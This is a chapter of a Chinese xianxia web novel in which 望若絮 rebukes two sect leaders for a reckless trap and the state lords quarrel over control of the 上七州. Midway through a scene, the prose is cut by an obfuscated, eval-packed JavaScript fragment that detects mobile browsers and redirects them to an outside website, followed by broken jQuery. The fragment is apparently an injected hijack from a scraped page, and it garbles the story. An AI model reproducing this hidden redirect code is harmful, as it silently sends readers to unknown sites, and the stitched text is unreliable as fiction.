望若絮看着望千萧,没有说话,只是静静的沉思着,望千萧意识到阿姊似乎状态不太对,想来是因为温颂一事,也就在一旁安抚。
过了良久她说道,“我知你这几日繁忙,我只要一刻钟的时间。把初苍明也叫来。”
唤的是初苍明的名,望千萧少有的,心中咯噔一下,预感到事情似乎不太对劲。
初苍明得了传信先是知晓望若絮醒来,随后又知风烟唤他,丢下事情立刻赶了过来,二人站在望若絮的床前,见望若絮面色不善,气氛一时凝重。
深灵坠只觉得望若絮散发出一股难以言喻,让她害怕的气息,这是她从未见过的。
“我问,你们答。”
她这一日在深灵坠的照顾下想了很多,越想越不对劲,越想越觉得可笑。如今,便问个清楚。
“弟子有异一事,何时察觉到的?”
望千萧:“当日午时。”
初苍明:“当日下午。”
“此番出去,可是要紧的事?”
望千萧:“暮疆结界异动,我便过去处理。”
初苍明:“暮疆边界弟子传来音讯,暮石异动,我前往查看。”
“最后一个,此番陷阱,可否知晓?”
全场寂静,深灵坠心都提到嗓子眼了,完蛋了完蛋了,这样子下去是要挨打的啊!快说话啊快说话啊!望千萧不是最能说了吗!初苍明你开口啊!
解释啊!主人看起来要把你们大卸八块啊!!!!
谁来救救我……
望若絮看二人神态,已然明白。
“啪!”
“啪!”
正手一巴掌扇在望千萧脸上,反手一巴掌扇在初苍明脸上。
望若絮用了十成十的力气,扇完就靠在深灵坠肩头咳嗽,面色依旧带着愤怒,拽着深灵坠的衣袖,猛得咳了几声。二人下意识伸手去看她伤势,却被狠狠地瞪了回去。
“你们知道,你们是在拿弟子的性命去赌吗!你们是在拿温颂的性命去赌!引蛇出洞这一招用的愚蠢至极!”说话间望若絮整个人都在颤抖,手不听使唤的疯狂发抖,几番控制不住自己的身子。
“你们没有出手,若是我知是陷阱,相信你们可以阻止所以没有出现呢?!那群温州弟子就死在温颂鞭下了!温颂会一辈子承受屠杀弟子的骂名的!”
“你们难道为了那个暗处的人将自己的挚友和视为生命信仰的弟子,以及七州千年的信誉视为垃圾吗!”
“聪明如我望州文曲星,怎么会看不出这是一场阴谋?初苍明你十年千次入暮疆又怎会探不出其中的腐朽之气?你们不仅走了,还带着望松溪和初之月初随空一起走了,做戏做全套啊,好啊!
连一个后手都未曾留下!”
“你们的良心一同死在暮疆了吗!”
望若絮如今没有灵力,力气也少得可怜,用力拿起自己身侧的枕头砸在那两人身上,大呵让他们滚出去,用力过猛,一口血再次吐了出来。
初苍明上前为她擦拭,却被打掉了帕子。
望千萧脸上火辣辣的疼,依旧维持着原样,沉声开口。
“温颂的鞭子上下了禁制,杀不了弟子。你的身上我也下了禁制,她伤不了你。温颂体内有温州长老留下的心契,不会真正暴走。至于那些弟子,有天下药州寒州在,他们不会有事。
我所求一切,唯有揪出那个欲害你者,护你周全。”
他低垂着眼看着望若絮,眼中思绪万千复杂,他一手算计,无非就是为了望若絮。聪明如他望州文曲星,算无遗漏,却是低估了那人的能力,险些酿成大祸。
望若絮这一巴掌,他该挨的。
“滚出去!”
再次低呵一声,二人只能退下,临行时嘱咐深灵坠照顾好望若絮。
二人出了门,一人一边顶着一个鲜红的巴掌印,相对无言。重新给门上了隔音的法阵,才开口交谈。
“那两人为何没有出面?”
“浮光山也被下了封印,他们若不解开,我们也进不去。”
“你还有别的目的。”
说到这里望千萧顿了一下,无波的面色被这句话击出涟漪,被戳中了索性也不再装,开口道,“逼各州上山,去除异己。”
果真是这样。
风烟恢复灵力之后肯定会杀上暮疆为所有人报仇,那个时候她不可能是一个人去,望千萧在为她日后铺路。而这第一步,就是将所有偏安一隅,不愿开战的各州除掉。
他变了,变得不在乎流血牺牲,变得手段狠绝,变得冷漠无情,天下之事与他而言只剩下有利无利一种区别,唯独的例外只有他的阿姊。
所有异己者,欲乱朝域者,他现在——绝不会手下留情。
初苍明所想不过是让那群人留在朝域,顶多威胁恐吓让他们不得动摇军心。可望千萧想的是将他们全部除掉,一个不留。
“你疯了。”他平静的叙述事实。
“谁不是疯的?你困在幻雏幻境的那一年难道不比我疯?”
望千萧很不屑,冷哼一声,下意识的摩挲了拇指处,随后解开房中的隔音禁制,拂袖离去。初苍明也不多留,隐去脸上的痕迹去了大殿处,那里还有一群人等着七州答复。
他不是没预测到各州会前来责问,他也想好了应对的说辞,只是望若絮的那一番话着实是让他思索起自己这般做究竟合不合理。
他自诩一切都做了万全的准备,温颂身上的禁制和心契,望若絮身上的禁制,他留下了祁夜肆和穆壹。而计划也如他所说的一般,那个人出现了,各州话事人上山了。
再有一点时间他就能揪出那个人,只是……这般的雷霆手段……罢了。
一路过去,鲜少有弟子出现。因为这一事望松溪的课也停了,大殿内吵吵嚷嚷,怒斥声争辩声震天响。七州当中扶无忧、温颂身体有碍便没有出现,寒光暮带伤前来,穆壹协助初随空进行调和,祁夜肆坐在位子上一言不发。
见来人是初苍明,初随空总算是松了一口气,他承担了这群男女老少足足两个时辰的轰击,耳朵都快聋了,终于有个能制止住这群人的话事人出现。
“初勉见过兄长。”
一句话众人马上将目光盯死在初苍明身上,随即就是丹州的州主率先开口大骂,“初苍明!我们将弟子交到你们手上,你就是这般照顾的?!温颂那个疯婆娘什么德行你们难道不知道吗?!还放任她伤害山上弟子!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499808|186001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
初苍明不言语,坐在了主位上,目光与祁夜肆交汇,像是问责。祁夜肆叹了口气摇摇头,没说什么,只是将翘着的二郎腿放了下来,正襟危坐地面对各个州主。
“此事是上七州的错。所有弟子我们会全权负责,保证他们从浮光山出去时和进来时一样。未能保护好各位弟子,使得腐朽之气趁虚而入,扰温颂心神,致使酿成祸事,是初苍明之错。”
“各位州主有何条件都可开出,初苍明会尽力满足,只求安抚各州弟子。不过此事并非温颂之错,讨沙之战她失去的至亲不比天下少,心神如此也并非她所愿,念在她多年维护朝域的份上,切莫责怪。”
语气难得的带有一丝温和,此话当中尽数是对上七州的维护。众人也知晓他这么多年从未局限于初州秋暝居一地,实实在在的将朝域放在首位,在场的每一个或多或少的受过他的帮助。
有些州主已然松口,不再说话,仍有些州主咄咄逼人,比如臭名昭著的丹州。
“任何条件?好啊!既然温颂心神不稳,那就请她让贤,把上七州的位子让出来!让更有能力的州坐!”
此言一出,威胁到的不只是温州一州,上七州分崩离析各自为派是不错,但千年教导上七州始终为一体,如今丹州州主这话,无异于给了在场的上七州州主一巴掌。
欺师灭祖的事情他居然敢提出来。
其余跟着丹州州主一同找事的人也有些诧异,居然这样堂而皇之的就说出来了?当着初苍明的面,还是在上七州先祖一手建立的浮光山大殿内,这么多英灵先辈,他说这话不是找死吗?
“丹州州主莫不是想说让自己来坐?”
望千萧尚未进来就听到这番言论,气极反笑,这么快就忍不住了?还以为能多坚持一会儿呢。从门外进来,越过丹州州主径直坐在他梦寐以求的七州位子上,冷冷的看着他。
“自然是让各州推举,贤德之人尚能坐此!”
丹州州主也不怯,那满是皱纹的脸夹着细条的浑浊眼睛,死死盯着望千萧,似一条蓄势待发的毒蛇。
望千萧没急着答话,而是抿了口茶,微微皱眉对初随空说道,“这茶难喝,下次换个。”丹州州主如此大义凛然倒是显得尴尬,崔州州主左右思索,趁此机会开口,
“丹州州主也是关心弟子心切,本意不过是担心上七州如今州主对待诸事尚不熟练,不妨让百州推个一两州暂代,等到几个州主心思稳重了再让出来。如此对大家都好,也免得如今的事情发生。”
说的冠冕堂皇,恐怕让出来之后他们就不愿还了吧?
初随空说了那么久也累了,干脆不说话安心和穆壹看戏。初苍明再次看了眼坐的尚且端正的祁夜肆,他感受到目光看了他一眼,眼神示意自己待会就开口。
别急别急。
“如若说十六岁坐上州主位子,让温州以最快速度回到战前状态七成的实力,还不足以说是熟练的话,那容望某唐突一句。”
“在座的各位就都是饭桶。”
丹州州主气的脸发青,用力拍了一下茶桌,想要站起指着望千萧骂,却隔空被一人灵力压制按住,肩膀被千钧力压得动弹不得。
是谁?初苍明,初随空,望千萧,还是寒光暮?